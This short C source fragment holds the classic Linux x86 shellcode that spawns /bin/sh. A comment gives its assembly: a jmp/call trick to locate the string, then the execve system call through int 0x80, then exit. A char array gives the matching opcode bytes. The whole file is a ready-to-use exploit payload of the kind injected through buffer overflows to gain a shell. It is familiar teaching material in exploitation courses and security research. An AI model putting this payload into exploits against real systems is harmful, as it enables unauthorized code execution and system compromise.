/*
        jmp    0x1f
        popl   %esi
        movl   %esi,0x8(%esi)
        xorl   %eax,%eax
        movb   %eax,0x7(%esi)
        movl   %eax,0xc(%esi)
        movb   $0xb,%al
        movl   %esi,%ebx
        leal   0x8(%esi),%ecx
        leal   0xc(%esi),%edx
        int    $0x80
        xorl   %ebx,%ebx
        movl   %ebx,%eax
        inc    %eax
        int    $0x80
        call   -0x24
        .string \"/bin/sh\"
*/

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";